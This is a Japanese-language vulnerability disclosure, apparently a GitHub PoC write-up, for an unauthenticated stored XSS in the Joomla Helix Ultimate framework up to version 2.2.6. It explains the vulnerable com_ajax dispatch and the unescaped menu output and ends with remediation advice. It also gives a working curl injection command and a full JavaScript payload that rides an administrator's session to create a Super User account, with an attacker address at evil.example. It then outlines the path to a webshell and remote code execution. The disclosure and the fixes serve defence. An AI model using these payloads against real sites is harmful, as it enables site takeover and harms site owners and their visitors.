
Joomla Helix Ultimate (JoomShaper) <= 2.2.6 における未認証の格納型XSS
これはこの調査フォルダ内で最も重大な発見です — CRITICAL、エンドツーエンドで完全に確認済み。 helix_ultimate_delete_poc.md の削除のみのバグとは異なり、こちらはサイト全体を完全に侵害する現実的で動作する経路を持っています。
コンポーネント: JoomShaper Helix Ultimate Framework(plg_system_helixultimate + shaper_helixultimate テンプレート)
テスト済みバージョン: 2.2.6(GitHub JoomShaper/helix-ultimate、HEAD 2026-07)
作成者: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() は標準的なJoomla com_ajax プラグインのイベントハンドラです(index.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>)。Joomlaのコア コンポーネント自体は — それは常にプラグイン側の責任です。このハンドラは任意の静的メソッドディスパッチを行います:
com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
名前空間はハードコードされている(HelixUltimate\Framework\HttpResponse\)ため、これ単体では完全に任意のRCEガジェットにはなりません — しかし**src/HttpResponse/Response.php 内のすべてのpublic staticメソッドが、誰でも、未認証で、CSRFトークンなしで呼び出し可能になります**。そのいずれも Session::checkToken() や authorise() を呼び出しません。これは削除バグの文書で扱った管理者ゲート付きの Request/Platform クラスとは完全に別の独立したエントリポイントです — com_ajax はそのゲートを完全にバイパスします。
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
これは攻撃者が制御するJSONを稼働中の公開されたJoomlaメニューアイテムの params カラムに直接書き込みます — ログイン不要、CSRFトークン不要、HTTPリクエスト1回で完了します。
overrides/mod_menu/default.php(実際に配布されているテンプレートコード)実際に配布されている shaper_helixultimate テンプレートの html/mod_menu/default.php は1行のシムです:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
これは(HTMLOverride.php を読んで確認済み)plugins/system/helixultimate/overrides/mod_menu/default.php に解決されます — サイトのメインナビゲーションメニューをすべてのページで、すべての訪問者に対して実際にレンダリングするファイルです:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — saveMegaMenuSettings() を通じて完全に制御できるキー — は htmlspecialchars() によるエスケープなしでHTML属性に直接連結されます。
shaper_helixultimate テンプレート + プラグイン 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
CSRFトークンフィールドは一切送信されていません — 削除バグで必要だったホームページから取得できる簡単なトークンすらも不要です。
その結果、ホームページの後続のすべての訪問者に配信されるHTML:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
ゼロ認証で注入された、ブラウザで実行可能な生きた <script> タグが、サイトで最も訪問数の多いページ(ホームページだけでなく、モジュールポジション経由ですべてのページに存在するメインナビゲーション)にレンダリングされます。
これはまさにCVE-2026-48909フォルダが当初追い求めていたシナリオであり、まったく別の角度から到達しました:未認証の保存型XSS + セッションライディング = アカウント乗っ取り。パスワードを盗んだり、インストーラをブルートフォースしたりする必要は一切ありません。
/administrator にログインしている(または最近ログインしていた)同じブラウザで公開サイトのホームページを開いた管理者は、ブラウザのクッキーが完全に保持された状態で攻撃者のJavaScriptを実行することになります。コンセプトペイロード(このラボでは実際の管理者セッションに対して実行していません — このラボには、実際にログインした管理者がページを訪問する状況をシミュレートするブラウザ自動化が設定されていないためです。XSSの配信自体は上記で100%確認済みであり、これは広く理解されている標準的な次のステップです):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
ブラウザは、どのタブやページがJavaScriptをトリガーしたかに関係なく、サイトのオリジンに対して保持しているセッションクッキーを任意の同一オリジンリクエストに添付するため、フロントエンドページが表示された時点でそのブラウザに管理者のバックエンドセッションクッキーが有効に存在していれば、この攻撃は成功します。これにより、攻撃者が選択した認証情報を持つ新しいスーパーユーザーアカウントが作成されます。そこから:/administrator にログインし、任意のテンプレートファイルを編集(または新しいものをインストール)してPHPウェブシェルを追加する → 完全なRCEに至ります。
なぜこれが削除バグより強力か: ここにはコンテンツ書き込みの制限は適用されません — このプリミティブはファイルではなくデータ(DBカラムへのJSON)を書き込みますが、そのデータはすべてのページビューで生きたHTMLとしてレンダリングされます。これはまさに削除バグに欠けていた「書き込み」プリミティブです。標準的なXSS→セッションライディングのパターンと組み合わせることで、削除バグでは閉じられなかったループを閉じることができます。
helix_ultimate_xss_detect.pyほぼ非破壊的:無害で不活性なマーカー文字列(<script> なし、引用符なし)を customclass に書き込み、レンダリングされたホームページHTMLでエスケープされずに返ってくるかを確認します。その後、値を復元・クリアします。
helix_ultimate_xss_poc.py選択したメニューアイテムの customclass に実際の <script> XSSペイロード(デフォルト:無害な alert() による証明、または --payload によるカスタムペイロード)を書き込み、エスケープされずにレンダリングされることを検証し、上記のATO/セッションライディングのコンセプトペイロードを出力します。書面による許可がある場合のみ使用してください — これは手動でクリーンアップされるまでライブサイトのデータ(メニューアイテムの保存されたレイアウト)を変更します。
onAjaxHelixultimate() は、権限チェックなしに HttpResponse\Response 内の任意のメソッドへ盲目的にディスパッチしてはなりません — 少なくとも、状態を変更するタスク(メニュー保存、モジュールリスト、メガメニュービルダーメソッド)を許可する前に、有効なJoomlaセッション + Session::checkToken() を要求してください。overrides/mod_menu/default.php(および helixultimatemenulayout/customclass を読み取る他のオーバーライド)は、メニューアイテムのパラメータから取得した値をHTML属性に出力する前に htmlspecialchars()(またはJoomlaの HTMLHelper::_('esc.html', ...))を適用する必要があります — 多層防御です。メニューパラメータは技術的には管理者専用データであることを意図されていますが、ここでは明らかにそれ以上のものから到達可能だからです。Amin İsayev / Proxima Cyber Security — 2026. 教育目的/許可を得たテスト目的のみで使用してください。